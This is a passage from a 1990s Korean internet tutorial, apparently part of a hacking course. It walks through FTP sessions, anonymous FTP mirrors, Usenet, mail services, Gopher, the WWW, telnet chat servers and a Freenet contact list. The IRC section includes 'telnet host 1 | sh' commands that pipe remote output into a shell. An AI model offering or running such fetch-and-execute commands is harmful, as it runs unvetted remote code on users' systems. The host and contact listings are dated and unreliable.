200 PORT command successful.
150 Opening data connection for README.html (165.133.1.125,1351)
(3518 bytes).
226 Transfer complete.
local: README.html remote: README.html
3601 bytes received in 0.0034 seconds (1e+03 Kbytes/s)
ftp> bin         "bin"을 입력하여 지금부터 전송되는 것은 8비트 모드임을 알린다.
200 Type set to I.
ftp> get sedf.sysv                 "get sedf.sysv"를 입력해서 sedf.sysv를 바이너리 모드로 전
송받는다.
200 PORT command successful.
150 Opening data connection for sedf.sysv (165.133.1.125,1352) (771
bytes).
226 Transfer complete.
local: sedf.sysv remote: sedf.sysv
771 bytes received in 0.00053 seconds (1.4e+03 Kbytes/s)
ftp> hash                 전송되는 상황을 보기 위해서 "hash"명령을 입력하였다.
Hash mark printing on (4096 bytes/hash mark).
ftp> get sedf.sysv         다시 sedf.sysv를 전송받는다.  이때 아랫줄에 "#"이 표시되는 것을
볼 수 있다.

200 PORT command successful.
150 Opening data connection for sedf.sysv (165.133.1.125,1353) (771
bytes).
226 Transfer complete.
local: sedf.sysv remote: sedf.sysv
771 bytes received in 0.00091 seconds (8.3e+02 Kbytes/s)
ftp> quit                 끝내기 위해서 "quit"를 입력했다.  그러면 지금 사용하고 있는
시스팀의 프롬프트가 나타난다.

221 Goodbye.
Viki_Huiyol [3 /home/huiyol]




Anonymous FTP site란 무엇인가

계정이 없는 사용자들도 FTP를 할 수 있도록 제공하는 곳이죠.
일반적으로, FTP를 하기 위해서는 상대 시스팀에 자신의 계정이 있어야
합니다.


사용자 이름(ID):        anonymous
암호(Password)  :       [자신의 ID]@[자신이 사용하고 있는 시스팀
이름]

예를 들어  anonymous FTP를 사용하려면 암호로
자신의 e-mail 주소를  입력하면 됩니다.  반드시 정확하게
입력해야 하는 것은 아니지만, 이것은 일종의 예의죠.
이와 같이 사용할 수 있는 Anonymous FTP site는 인터넷에 무수히 많이
존재합니다.

다음은 유명 아치서버 소개입니다.

호스트명                        주로 있는 것

ftp.cica.indiana.edu    윈도우즈 3.1에서 실행되는 무수히 많은
                        셰어웨어와 퍼블릭 도메인(Public Domain)들이
                         매일 매일 그 수가 늘어나고 있다.
wuarchive.wustl.edu     매우 다양한 종류의 그래픽 파일(경치, 인물,
                         비행기 등)과 MS-DOS용 게임들
ftp.uu.net              거의 모든 종류의 파일들, UNIX 프로그램
wcarchive.cdrom.com     UNIX, MS-DOS용 프로그램
ftp.oak.oakland.edu     매우 많은 양의 MS-DOS,UNIX 프로그램
ftp.rtmf.mit.edu        USENET의 거의 모든 FAQ(자주 질문되는 것들,
                       뒤에 설명함)
ftp.sura.net          인터넷에 대한 문서들


어떤 특별한 것에 관심이 있다면 Anonymous FTP site를 찾아보십시요.

그런데 인터넷은 회선의 한계상 동시에 사용할 수  있는 사용자 수를 제한한 곳이 대부분입니다.
그래서 FTP의 세계에는 "Mirror Site"라는 개념이 존재합니다.
예를 들어 A라는 시스팀이 많은 정보를 가지고 있고 매우 많은 사람들이 그것을
사용하고 있다면, B라는 시스팀이 A의 내용을 그대로 복사해서 서비스하는
경우 B를 mirror site라고 합니다.
이 방법의 장점은 사용자의  집중을 줄이고, 네트워크를 통과하는 데이터의 양을 감소시킬  수 있
다는 것이죠.

 한국 내에서도 위의 시스팀들에 대한 mirror site가 존재하는데, 서강대에서 제공하는
"ftp.sogang.ac.kr"이 있습니다.  SIMTEL20이라고 알려진  이곳에는 MS-DOS에서 작동하는 매우
많은 수의 프로그램들이 있죠.
또 "han.hana.nm.kr"이라는 곳은 CICA의 윈도우즈용 프로그램들을 가지고
있는데, 속도도 CICA보다 훨씬 빠릅니다.  따라서 될 수 있으면 한국 내의
Mirror site를 사용하는 것이 네트워크에 주는 부담도 줄이고 데이터도
빨리 받을 수 있는 방법입니다.

한국내의 관련 서버입니다.

호스트명                        지금의 IP 주소          Update된 날짜

cair.kaist.ac.kr                143.248.11.170          11:23 20 Apr
cbubbs.chungbuk.ac.kr           134.75.201.254          11:39 20 Apr
ftp.sogang.ac.kr                163.239.1.21            11:03 20 Apr
garam.kreonet.re.kr             134.75.30.11            14:49 20 Apr
halla.dacom.co.kr               164.124.1.2             16:34 20 Apr
han.hana.nm.kr                  128.134.1.1             18:28 20 Apr
hansung.kotel.co.kr             147.6.9.119             20:39 20 Apr
warang.postech.ac.kr           141.223.1.1             20:42 20 Apr
ftp.update.uu.se                130.238.11.20           20:41  3 Apr
kuccgx.korea.ac.kr              163.152.1.1             20:53 20 Apr
nic.nm.kr                       143.248.1.100           20:55 20 Apr
nms.kyunghee.ac.kr              163.180.100.53          18:42 23 Mar
ftp.kaist.ac.kr                 143.248.1.201           21:02 20 Apr
ring.kotel.co.kr                147.6.1.2               21:04 20 Apr
uniboy.dwt.co.kr                165.133.1.2             23:23 13 Apr

국내의 Anonymous FTP site


FTP 사용 예제
IBM PC용 게임인 DOOM에 관련된 파일을 FTP로 가져 오는 예제를 해보죠.
DOOM에 관련된 파일들이 ftp.sogang.ac.kr에 있다는 것과, 그 디렉토리가
 "/pub3/msdos/games/wuarchive/Uploads/doomstuff"에 있다는 것을 안다고 가정하죠.


ftp ftp.sogang.ac.kr         ftp.sogang.ac.kr에 FTP로 접속해서 사용자 이름에 anonymous를
입력하고 암호에 huiyol@viki.dwt.co.kr을 입력하였다.

Connected to ftp.sogang.ac.kr.
220 ftp.sogang.ac.kr FTP server (Version 6.34 Fri Jan 1 17:15:08 KST
1993) ready.
Name (ftp.sogang.ac.kr:huiyol): anonymous
331 Guest login ok, please send your full e-mail address as password.
Password:
230-*
230-* Hello, you have reached Sogang University in Seoul, Korea
    *
230-*
    *
230-* This server has been set as to be used primarily by members of
    *
230-* the Korean Community, the software stored here has been brought
   *
230-* from sites in the USA, Canada and Europe to prevent more
traffic    *
230-* congestion in the lines Korea >> World.
    *
230-*
    *
230-* The Time here is : Thu Apr 21 17:34:16 1994
    *
230-*
    *
230-* We are logging all transfers for security reasons only, so
    *
230-* come and take all you want, we will not restrict transfers.
    *
230-*
    *
230-*Now you can grab a whole directory,just type get dirname.tar and
you *


230-* will get a "tared" directory (just remember to set "binary"
first). *
230-* You can also compress with"Z" (don't recompress what's
already"Z"ed)*
230-*
    *
230-
230-
230 Guest huiyol@viki.dwt.co.kr login ok, access restrictions apply.
ftp> cd pub3/msdos/games/wuarchive/Uploads/doomstuff    cd 명령을 이용해서  doom 관련 파
일이 있는 곳으로 이동하였다.
250 CWD command successful.
ftp> dir                    dir 명령을 이용해서 목록을 살펴 보았다 -중간생략-
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 27957
-r--r--r--  1 0        staff         149 Apr 18 09:44
00_Use_ocf.unt.edu_for_Doom_FTP
-r--r--r--  1 0        staff        3226 Apr 18 10:15 144-doom.nfo
-r--r--r--  1 0        staff         606 Apr 18 10:40 BWARE30.TXT
-r--r--r--  1 0        staff        3418 Apr 18 10:40 BWARE30.ZIP
-r--r--r--  1 0        staff           1 Apr 18 10:15 BWARE30_RULES
drwxr-xr-x  2 0        staff         512 Apr 19 07:26 DE-DOOMED
-r--r--r--  1 0        staff         429 Apr 18 09:19 DE_250B4.txt
-r--r--r--  1 0        staff      153138 Apr 18 09:17 DE_250B4.zip
-r--r--r--  1 0        staff         837 Apr 18 09:52 DOOMSF12.TXT
-r--r--r--  1 0        staff       25343 Apr 18 09:52 DOOMSF12.ZIP
-r--r--r--  1 0        staff         149 Apr 18 09:44 DOOM_FTP_SERVER
-r--r--r--  1 0        staff         692 Apr 18 09:17 DeWadz1.txt
-r--r--r--  1 0        staff       35840 Apr 18 09:17 DeWadz1.zip
                        .
                        .
                        .
drwxr-xr-x  7 0        staff        2048 Apr 19 07:26 wads
-r--r--r--  1 0        staff         645 Apr 18 10:10 wdmstr05.txt
-r--r--r--  1 0        staff       74864 Apr 18 10:10 wdmstr05.zip
-r--r--r--  1 0        staff      378006 Apr 18 10:54 wdoomsnd.zip
-r--r--r--  1 0        staff           2 Apr 18 09:15
what_is_darkarmy.zip
drwxr-xr-x  2 0        staff         512 Apr 18 11:16 whatsup
-r--r--r--  1 0        staff        1302 Apr 18 09:03 wifsp001.txt
-r--r--r--  1 0        staff       10884 Apr 18 09:03 wifsp001.zip
-r--r--r--  1 0        staff         504 Apr 18 09:15 wolfdm_2.txt
-r--r--r--  1 0        staff      317685 Apr 18 09:16 wolfdm_2.zip
-r--r--r--  1 0        staff         373 Apr 18 09:20 wolfdoom.txt
-r--r--r--  1 0        staff      164088 Apr 18 09:19 wolfdoom.zip
-r--r--r--  1 0        staff         191 Apr 18 10:52 wt100.txt
-r--r--r--  1 0        staff       26334 Apr 18 10:52 wt100.zip
226 Transfer complete.
22812 bytes received in 14 seconds (1.6 Kbytes/s)
ftp> asc
200 Type set to A.
ftp> get wt100.txt          WT100이라는 프로그램이 어떤 것인지 보기 위해서 wt100.txt라는
파일을 7비트 모드로 전송받았다.

200 PORT command successful.
150 Opening ASCII mode data connection for wt100.txt (191 bytes).
226 Transfer complete.


local: wt100.txt remote: wt100.txt
195 bytes received in 0.073 seconds (2.6 Kbytes/s)
ftp> !cat wt100.txt               !cat 명령을 이용해서 파일의 내용을 보았다.
WAD Tools 1.00 is a DOOM hacker utility that lets you browse the WAD
file
and do all sorts of fun stuff to the resources, like viewing,
exporting,
importing, etc. Released January 18, 1994.

ftp> bin
200 Type set to I.
ftp> hash
Hash mark printing on (4096 bytes/hash mark).
ftp> get wt100.zip                   8비트 방식으로 wt100.zip을 전송받았다.
200 PORT command successful.
150 Opening BINARY mode data connection for wt100.zip (26334 bytes).
226 Transfer complete.
local: wt100.zip remote: wt100.zip
26334 bytes received in 14 seconds (1.8 Kbytes/s)
ftp> quit          quit 명령으로 FTP를 종료했다.
221 Goodbye, Thankyou for coming to Sogang.
Viki_Huiyol [3 /home/huiyol]



USENET News 는 인넷을 사용하는 사람들이 원하는 정보를 찾는곳이라고 봐야할 것입니다.
일종의 그룹인데 관심분야의 사람들이 모여서 관련 정보가 모이는 곳이죠.
많은 사람들이 이것을 사용하기 때문에, 좀더 효율적으로 사용하기 위해서
내용에 따라 여러 개의 묶음으로 나누어서 관리하고 있습니다.
이 묶음 하나 하나를 그룹이라고 하며, 이것은 또 다시 그 밑의 작은 그룹, 또 그 밑의
작은 그룹과 같이 계층적으로 구성되어 있죠.

예를 들어 다음과 같은 그룹의 이름이 있다고 생각해 보자.

        comp.os.ms-windows.setup

이 그룹의 이름은 "."을 이용해서 분리되어 있죠.
이것을 해석하면 1)컴퓨터에 관한 대 그룹 밑의  2)Operating System에 관한 작은
그룹 밑의 3)윈도우즈에 관한 작은 그룹 밑의 4)Setup에 관한 그룹이라는
의미가 됩니다.
이곳에 있는 거의 모든 글의 내용들은  자신의 어떠한 카드가 윈도우즈에서 설치할 때 문제가 발
생했다거나 그것은 이렇게 하면 된다는 등의 것들입니다.

인터넷에 있는 모든  시스팀에 그만한 양의 글들이 저장되어야 한다면  엄청난 낭비가 될 것입니
다.
그리하여 실제로는 많은수의 시스팀들이 스스로  그 USENET News를 저장하지 않고 특정 시스
팀에있는 정보를 원격 접근하는 방식을 사용하고 있습니다.
유즈넷 뉴스그룹을  읽는 도구로  일반적으로  UNIX를 사용하는 경우에는  "TIN"과 "RN"이라는
프로그램을 사용하게 됩니다.
여기에서는 "RN" 이라는 도구를 소개합니다.
"RN"은 Read News의 약자로서 가장 기본적인 도구죠.
먼저, 'rn'이라고 실행해서 뉴스 읽기를 시작합니다.

rn

잠시 뒤에 다음과 같은 내용의 화면이 나타나게 됩니다.

Unread news in general                                   230 articles
Unread news in comp.client-server                         45 articles
.
.

Finding new newsgroups:

Newsgroup comp.os.ms-windows.announce not in .newsrc-subscribe?[ynYN]
.
.

처음에는 지금까지 읽고 있던 그룹에 새로운 글이 몇 개나 올라왔는지를
알려주고.  그 다음에는 새로운 그룹을 찾아서 이것을 구독(Subscribe)할
것인지 물어 보는데 구독할 생각이 있다면 "Y" 또는 "y"를 입력하면 됩니다.
그리고 default를 선택하면 됩니다.
뉴스를 읽는 방법은 "h"를 입력해 보면 자세히 나옵니다.
간단한 방법은 "N"을 입력해서 그룹을 선택하고 읽어 나가는 것입니다.

대분류의 의미를 설명하고 몇 가지 그룹을 소개하죠.

대분류명        내용
comp            컴퓨터에 관한 모든 내용들
sci             과학에 관한 내용들
talk            어떤 주제에 대한 토의
soc             사회적인 현상에 대한 토의
news            USENET News에 대한 내용들
rec             취미 생활에 관한 것들
alt             특정 틀에 맞지 않는 것들


comp.dcom.modems
모뎀을 이용한 통신에 관한 내용.   무슨 프로토콜을 사용하는 것이  다든가 어떤  프로그램에 문
제가 있다든가 하는 내용들.

soc.college.gradinfo
대개의 경우 미국에  있는 대학원들에 관한 내용.   가끔씩 이곳에 대학원 입학 신청을  받는다는
공고가 나기도 합니다.

rec.arts.movies
영화를 보고 그 내용에 대하여 토론을 벌이거나, 자신의 평을 올리는 곳.

sci.virtual-worlds
요즘 관심을 모으고 있는 VR(가상현실)에 관한 매우 전문적인 토의가
이루어지는 곳.

alt.internet.services
인터넷에서 제공되는 서비스에 관한 글들.  또는 자신은 어디에 사는데
인터넷에 접속하려면 어떻게 해야 되느냐.

FAQ(Frequently Asked Questions, 자주 질문되는 것들)란?

이것은 특히 초보자에게  매우 도움이 되는 것으로, 특정 그룹에  대한 기초적인 지식, 미리 알아
두면 좋은 것들을 누군가 정리한 글입니다.
매우 도움이 될 것입니다.


전자 우편(E-Mail)이란?

우리가 늘상 쓰는 통신상에서의 전자 우편을 인터넷에서도 가능합니다.
외국과 편지를 주고받으려면 영어를 사용해야 하겠지만 한국내에서는 한글을 사용한 메일이 되는
곳이많습니다.
인터넷은 매우 많은 시스팀들과 편지를 주고받을 수 있다는 차이점이 존재헙니다.


전자 우편의 구성

인터넷이 표준으로 삼고 있는 메일의 형식은 RFC(Request For Comment,
인터넷의 표준을 정의하기 위한 문서)라는 것에 의해서 정해졌는데,
이것을 가장 간단하게 설명하라면 일반 편지에서 봉투에 쓰는 내용과
본문을 합쳐 놓은 것입니다.
기본적인 영어를 구사하고 천리안,하이텔을 쓰는 정도라면 e-mail 은 쉽게
이해 가시리라 봅니다.

인터넷에서 이진파일을 어떻게 전달할 수 있는가? 먼저 인터넷의 메일은 기본적으로
7비트를 이용하기 때문에 이진 데이터를 그대로 전송할 수가 없습니다.
이 때문에  만들어진 도구가 있는데  그것이 바로 UUENCODE/UUDECODE 입니다.
이것을 이용하면 이진파일을 UUENCODE를 이용해서 ASCII처럼 만들어서
편지로 보내고, 받은 사람이 다시 UUDECODE를 이용해서 원래의
이진파일로 만들 수 있습니다.


메일을 이용해서 제공받을 수 있는 서비스


서비스 종류     방법                            내용

아마추어 무선   mail info@arrl.org              아마추어 무선에 관한
정보들
                                                본문에: help, info

주소 찾기       mail resolve@cs.widener.edu     문자주소를 IP 주소로
변환
                mail dns@grasp.insa-lyon.fr     본문에 : help

유전자 은행     mail gene-server@bchs.uh.edu    유전자 데이터베이스,
단백질
                mail retrive@ncbi.nlm.nih.gov   구성 등
                mail blast@ncb.nlm.nih.gov      본문에 : help
                mail genmark@ford.gatech.edu

음악 뉴스       mail listserv@vm.marist         음악에 관한 기사,
                                                인터뷰 등
                                                본문에 : SUBSCRIBE
UPNEWS
                                                <이름>

뉴스 서버       mail [newsgroup]@cs.utexas.edu  USENET에 글을 올리기

OSS-IS          mail info@soaf1.ssa.gov         많은 FAQ들, FTP
                                                 목록,
                                                서비스 목록
                                                본문에 : send index

NetLib          mail netlib@ornl.gov            FORTRAN으로 작성된
수학
                                                프로그램
                                                본문에 : send index

통계학 서버     mail statlib@lib.stat.cmu.edu   통계에 관련된
                                                프로그램,
                                                데이터베이스 등
                                                본문에 : send index

영화사전        mail movie@ibmpcug.co.uk        영화 데이터베이스
                                                본문에 : help



고퍼(Gopher)

만약 인터넷에 있는 정보를 검색하고 싶다면 전문가가 아닌 이상 메뉴
방식으로 제공되는 서비스가 있기를 바랄 것입니다.
고퍼(Gopher)가 인터넷의 모든 정보를 메뉴로 바꾸어서 보여 주는 매우
편리한 서비스죠.  전문가가 아니더라도 이곳저곳을 기웃거리다 보면,
어느새 자신이 원하는 정보가 어디에 있는지에 대해서 알게 되는 것이
바로 고퍼의 특징입니다.
고퍼는 이 도구를 처음으로 만들어낸 미국 미네소타 대학의
마스코트로서, 두더쥐와 비슷한 동물의 이름이랍니다.
이와 유사하게 인터넷의 고퍼는 네트워크를 파헤치면서 정보를 찾아다닙니다.
고퍼는 기본적으로 툴을 가지고 있어야 합니다

고퍼에는 대략적으로 세 가지 종류의 메뉴가 있습니다.
첫번째 형태는 다음 메뉴가 나타나는 것이고 두번째 형태는 그 항목에 정보가 있어서 선택할
경우 요구된 정보를 제공하는 것이죠..
마지막 형태는 자신이 아닌 다른 시스팀에 연결시켜 주는 것입니다..


han.hana.nm.kr이라는 시스팀에서 Telnet으로 제공하는 고퍼를 한번 써
보기로 하죠.

telnet han.hana.nm.kr

Trying...
Connected to han.hana.nm.kr.
Escape character is '^]'.


SunOS UNIX (han)


login: gopher
Last login: Fri May 20 07:32:12 from pcuser1.kotel.co
SunOS Release 4.1.3-KLE1.1.3 (SYBASE) #4: Fri Jan 21 19:05:21 KST
1994
You have new mail.
Welcome to the wonderful world of Gopher!

Gopher has limitations on its use and comes without
a warranty.  Please refer to the file 'Copyright' included
in the distribution.

Internet Gopher Information Client 2.0 patch11
Copyright 1991,92,93 by the Regents of the University of Minnesota

Press RETURN to continue


먼저, telnet을 합니다.
login 이름으로 gopher를  입력하면 암호를 물어보는 대신에 고퍼에  대한 간략한 설명이 나오고,
지금부터 사용할 시스팀의 어떤 것인지를 보여 주게 됩니다.
ENTER를 입력하면 화면이 나타나게 되죠.


                  Internet Gopher Information Client 2.0 pl11
                            Root gopher server: gopher.hana.nm.kr


 -->  1.  *Welcome to HANAnet Gopher Server
      2.  *하나망 이란?                  (What is HANAnet?)
      3.  고퍼에 관하여                  (Information About Gopher)/
      4.  네트웍 및 시스팀 관리자용 메모 (Technical Memo for
Admin.)/
      5.  다른 고퍼 및 정보 서버         (Other Gophers and
Information Serv../
      6.  다른 인터넷 서비스             (Other Internet Services)/
      7.  유닉스 초보자를 위한 안내      (UNIX Beginner's guide)/
      8.  인터넷 초보자를 위한 안내      (Internet Beginner's
Guide)/


      9.  하나망 정보                    (Information about
HANAnet)/


Press ? for Help, q to Quit
Page: 1/1

하나망에서 제공하는 고퍼 서비스
물론 고퍼를 통해 다른 서버로 이동해 갈 수 있습니다.


다음회부터는 WWW 과 다른 도구들에 대해 이야기 하겠습니다.



안녕하세요.
13번째 시간입니다.
이번 시간까지는 인터넷에 대한 나머지 것을 이야기 하겠습니다.
본 강좌가 인터넷중점 강좌가 아니기에 더 깊숙히 파고들지는 않겠습니다.
다음 시간부터 본격적인 해킹으로 들어가겠습니다.

대부분의 내용은 천리안 인터넷 서비스를 중점으로 합니다.


WWW(World Wide Web, 인터넷 하이퍼텍스트)은 인터넷을 이용한 검색 도구라 하겠다.
여지껏 우리가 보아오던 텍스트 방식이 아닌 멀티미디어에 근접한 음성,화상 정보 서비스라
할것이다.
이것은 CERN(the Eurobean Laboratory for Particle Physics)의 주도하에
만들어진 산물로 고퍼, anonymous  FTP, 아키, 유즈넷,텔넷 등으로 이용할 수  있는 모든 서비스
를 모두 사용할수 있다는 매력도 갖고 있다.
이러한 WWW의 브라우저로 가장 많이 애용되는 것은 익스플로러와 넷스케이프이다.
위와는 달리 일반 텍스트 기반의 WWW 도 있다.
이것은  lynx를 이용하는 방법인데 lynx는 vt100 터미널을 위한 하이퍼텍스트 브라우저로 모자익
이나 네스케이프 등의 풀그림을 사용할 수 없는 이들에게 유용하다.
아이네트나 코넷을 이용해  인터넷에 접속하는 경우는 lynx를  사용자가 별도로 설치하지 않아도
사용할수 있도록 되어 있다.
다음의 용어는 WWW 사용시 자주 접하게될 것들이다.
URL(Uniform Resource Locators) 은   인터넷 상의 거의 어떤 자료와 서비스든   그리고 어디에
있든 접근할 수 있는 방법을 제공한다.
HTTP(HyperText Transfer Protocol)  는 W3 서버와 클라이언트가  하이퍼텍스트 문서를  위해
통신하는 프로토콜이다.
HTML(HyperText Markup Language)  은 hypertext 문서를 만드는 언어로 구조화된  형식을 갖
는다.




천리안,하이텔,나우누리등의 통신망에서 가장 인기있는 메뉴가 바로 채팅일것이다.
지금 이 시간에도 많은 사람들이 채팅에 빠져있을것이다.
정말 도끼 자루 썩는줄 모르고 하는것이 채팅이다.
그럼 인터넷에서도 이런 대화방이 존재할까?
존재하면 세계각국의 사람들과 만나서 이야기 할 수 있을텐데 말이다.
물론.
하지만 영어를 공용으로 사용한다는 것이 다소 겁먹게 만든다.
거기다 보통 영어가 아니라 통신상에서  사용하는 약어, 속어 등과 유사한 통신 언어라는 점이다.
그래서 처음에 접속해서 대화를 하려면 무척 고생한다.

채팅을 하기 위해서는 다음과 같은 두 가지 방법을 사용하는 것이
일반적이다.

-telnet을 이용한다.
Telnet을 이용해서 채팅을 할 수 있도록 해 주는 시스팀이 있다.  아래와
같은 시스팀에 접속을 하면 된다.  어떤 의미에서는 BBS라고도 할 수
있는 시스팀이다.
다음은 대표적인 Chat 서비스 목록이다.

    -Chat Services        telnet english-server.hss.cmu.edu
                          telnet explorer.clark.net 1420
        Dolphin           telnet dolphin.csudh.edu 1420
        Somewhere Else    telnet 199.3.240.54 2010
        FootHills         telnet marble.bu.edu 2010
                              or 128.197.10.75 2010
        The Coffee House  telnet 128.198.1.116 2525
        Olohof's BBS      telnet morra.et.tudelft.nl 2993
                              or 130.161.144.100 2993
        DS9               telnet 128.8.11.201 3000
        Surfers           telnet 137.73.16.2 3232
        Mansion II        telnet 163.200.97.1 4000
        Elec. Night Club  telnet 129.215.162.64 4001 (Evenings Only)
        Theatre           telnet acad.stedwards.edu 4444
        Club House        telnet 137.140.5.1 5000
        CyberEden         telnet rivendel.slip.umd.edu 5000
                              or 128.8.11.201 5000
        Multiple Worlds   telnet lintilla.df.lth.se 5000
                              or telnet 194.47.62.13
                          telnet islandnet.com 7000
                              or 134.87.180.1 7000
        Davenport Beach   telnet 129.74.80.116 7777
        Greenfield        telnet mary.iia.org 12345
                              or 198.4.75.9 12345


다음예는 실제 접속 상황입니다.

예)
 Somewhere Else 라는 chat 서비스

  +-----------------------------------------------------------------------+
  |  telnet 199.3.240.54 2010                                             |
  +-----------------------------------------------------------------------+

  연결이 되면 제일 먼저 사용할 이름과 성별 그리고 사용하는 터미널 형태를 물
  어보는데 이름은 사용하고 싶은 이름을 영어로 쓰면 되고, 성별은  남자면  M,
  여자면 F 라고 입력하고 터미털 형태는 vt100 이라고 지정하시기 바랍니다.

  +-----------------------------------------------------------------------+
  |  Please enter your name:______                                        |
  |  Gender (Male/Female/Neuter)? _                                       |
  |  Terminals Available: xterm vt220 vt100 ansi wyse-30 tvi912 sun       |
  |  Your terminal: vt100                                                 |
  +-----------------------------------------------------------------------+

    이제 우리는 이야기방으로 들어가게 됩니다..

  +----------------------------------------------------------------------+
  |  MrBean says 'I also have a 4 year old car with 230,000km            |
  |              (150,000miles)'                                         |
  |  Leau asks 'was it interesting?'                                     |
  |  Robbie says 'Hi Ryu'                                                |
  |  Puppet says 'no :-)'                                                |
  |  Leau exclaims 'kewl!'                                               |
  |  Puppet asks '4 yrs??'                                               |
  |  Leau asks 'what are you doing next summer MrBean?'                  |
  |  MrBean says 'Hard to say Leau...I'd love to do a sebatical'         |
  |  MrBean asks 'Why do you ask?'                                       |
  +----------------------------------------------------------------------+

      많은 사람들이 이야기를 나누고 있습니다. 하지만 우리는 먼저 각 site 에
  서 사용하는 독특한 명령어들을 익혀야 합니다. 각각의 IRC site 들은 각각 다
  른 명령어를 가지고 있기 때문입니다. 이 곳 Somewhere Else 의 기본 명령어는
  say 입니다. say 라고 치고 한 칸을 비우고 할 말을 치면 다른 사람들에  전달
  이 됩니다만 그 외에서 수 많은 명령어들이 있습니다. 이 명령어들에 대한  도
  움말은 help 라는 명령어로 찾아 볼 수 있습니다. 하지만 이 부분들은  여러분
  들에게 남겨 놓겠습니다. 직접 부딪치며 해외의 친구들을 한 번 만들어 보시기
  바랍니다.

끝.



-IRC 클라이언트를 사용한다.
Telnet을 사용하는 방법보다 좀더 사용자에게 편리한 화면과 명령어들을
제공한다.  IRC를 사용하는 시스팀을 이용할 수 있는데, 다음과 같은
곳에서 구할 수 있다.  이 시스팀들은 자동적으로 IRC 클라이언트를
인스톨 해주는 독특한 서비스를 제공한다.

telnet sci.dixie.edu 1 | sh
telnet rush.cc.edu 1 | sh


이 시스팀들은 SUN, VAX, RS/6000 등에서 작동되는 실행코드까지
만들어 준다. 그러므로 컴파일을 할 필요조차 없다.

영어로 이야기 하기 거북한 사람들을 위한 한글 서버가 있다.

한글 IRC를 제공 서버

korea.slip.umd.edu(미국 동부 한글 서버)
korea.stanford.edu(미국 서부 한글 서버)
sol.nuri.net(한국 게이트웨이)


*인터넷 상에서 자주 사용되는 기호*

:-)   기본 스마일.  통신을 통해 음성의 고저나 억양을 인식할 수 없기
때문에 비꼬는 말이나 농        담조의 말에 미소로 대응하기 위해
사용.
;-)   윙크 스마일. 비꼬는 말에 대해 긍정 또는 부정을 표시하기 위해
사용.  '내가 한말에             대해 너무 신경쓰지 마세요'란 의미의
표현.
:-(   찡그린 스마일.  거부감을 느끼거나 어떤 것에 대해 화가 났을 때.
아니면 기분 나쁠 때의        스마일.
:-I   냉담한 스마일. 찡그린 스마일 보다는 약화된 기분 표현이지만
웃음짓는 스마일 보다는 못        한 상태.
:->  거부감을 주는 내용에 대해 매섭게 반응을 보이고 싶을 때
사용하는 스마일.


WWW를 제대로 사용하기 위해서는 도구가 필요하다.

그중 대표적인 도구로 "네트 스케이프"와 "모자이크" 일 것이다.

그중 네트 스케이프를 이용한 설치와 WWW 실제 접속 까지 다뤄보겠다.
넷스케이프는 넷스케이프커뮤니케이션 사의 제품으로, Trumpet
Winsock(v 1.0), FTP Software's PC/TCP, NetManage, Microsoft
WFW(Wolverine), Microsoft NT 등의 TCP/IP 스택에서 테스트를
거쳤으며, 매킨토시 시스팀 7(또는 그 이상), PC 윈도우즈, 윈도우즈 NT,
리눅스, X 윈도우 시스팀 등에서 사용 가능하다.
윈도우즈 하에서 사용하기 위해서 Winsock TCP/IP가 필요하며, 모뎀은
14,400bps가 추천되는 사양이다.  물론 인터넷 접속 방법은 PPP나
SLIP이어야 한다.
넷스케이프의 설치는 여타의 윈도우즈용 풀그림 같이 간단하다.
setup.exe를 실행하면 자동 설치된다.  사용법도 상당히 간단한데 이것이
구이가 추구하는 가장 큰 목적이 아닌가.
특징적인 것만 살펴 보자.  북마크에 자신이 자주 들르는 사이트를
등록해 놓으면 클릭만 함으로써 원하는 사이트로 연결되므로 편리한
이용이 가능하다.  그리고 옵션에서 자신의 환경에 맞게 여러 가지
설정을 해 놓으면 넷스케이프의 진가를 더욱 느낄 수 있게 될 것이다.
예를 들어 Helper Application에서는 Lview1(jpeg), Mpegplay(mpeg),
Mplayer(오디오 파일), GhostScript(포스트스크립트 파일) 등을 이용할 수
있도록 연계해 둘 수 있다.   물론 사용자가 즐겨 쓰는 풀그림을
이용해도 된다.  또한 프락시(proxy)를 적절한 곳으로 설정하면 보안성을
유지할 수 있을 뿐 아니라 트래픽을 줄여 주는 효과를 낼 수 있다.
넷스케이프를 이용해서 뉴스그룹을 검색하거나 포스트하는 것도
가능하다.  물론 전자우편을 보내거나 받을 수도 있다.

다음은 Freenet BBS 리스트 이다.

UNITED STATES


   ALABAMA
      Organizing Committees
         Free-Net
            Tennessee Valley Free-Net - Huntsville
               Billy Ray Wilson
                  voice: 205-544-3849
                  e-mail:

            Mobile Free-Net - Mobile
               Geoff Peacock
                  voice: 205-344-7243
                  e-mail: geoffp@netcom.com

            Tuscaloosa Free-Net - Tuscaloosa
               Dr. Ron Doctor
                  voice: 205-348-2398
                  e-mail: rdoctor@ua1vm.ua.edu


   ALASKA
      Organizing Committees
         Free-Net
            AnchorNet - Anchorage
               Peg Thompson
                  voice: 907-261-2891
                  e-mail: pegt@muskox.alaska.edu

            FairNet - Fairbanks
               Mark O. Badger
                  voice: 907-474-5089
                  e-mail: ffmob@aurora.alaska.edu


   ARIZONA
      Affiliates
         Free-Net
            AzTeC - Tempe
               Joseph A. Askins
                  voice: 602-965-5985
                  e-mail: joe.askins@asu.edu
               Modem: 602-965-4151
               Telnet:129.219.13.60
                  Visitor login: guest (password: visitor)


   ARKANSAS
      Organizing Committees
         Free-Net
            Greater Pulaski County Free-Net - Little Rock
               John Eichler
                  voice: 501-666-2222
                  e-mail: john.eichler@grapevine.lrk.ar.us


   CALIFORNIA
      Affiliates
         Free-Net
            Los Angeles Free-Net - Los Angeles
               Avrum Z. Bluming, M.D.
                  e-mail: aa101@lafn.org
               Voice Info: 818-954-0080
               Modem: 818-776-5000
               Telnet: lafn.org
                  Visitor login: Select #2 at first menu

            SLONET - San Luis Obispo
               Phil Wagner
                  voice: 805-544-7328
                  e-mail: pwagner@slonet.org
               Modem: 805-781-3666
               Telnet: 199.74.141.2
                  Visitor login:

         Educational
            California Online Resources for Education - Seal Beach
               Keith Vogt
                  voice: 1-800-272-8743
                  e-mail: kvogt@eis.calstate.edu
               Modem: < service not available >
               Telnet: eis.calstate.edu
                  Visitor login: <service not available>

      Organizing Committees
         Free-Net
            Northern California Regional Computing Network - Chico
               Patrick Blythe
                  voice: 916-891-1211
                  e-mail: pblythe@aol.com

            Davis Community Network - Davis
               Ann Mansker
                  voice: 916-752-7764
                  e-mail: acmansker@ucdavis.edu

            Orange County Free-Net - Orange County
               Kent D. Palmer, Ph.D.
                  voice:714-762-8551
                  e-mail: palmer@world.std.com

            Sacramento Free-Net - Sacramento
               Cynthia Mulit
                  voice: 916-484-6789
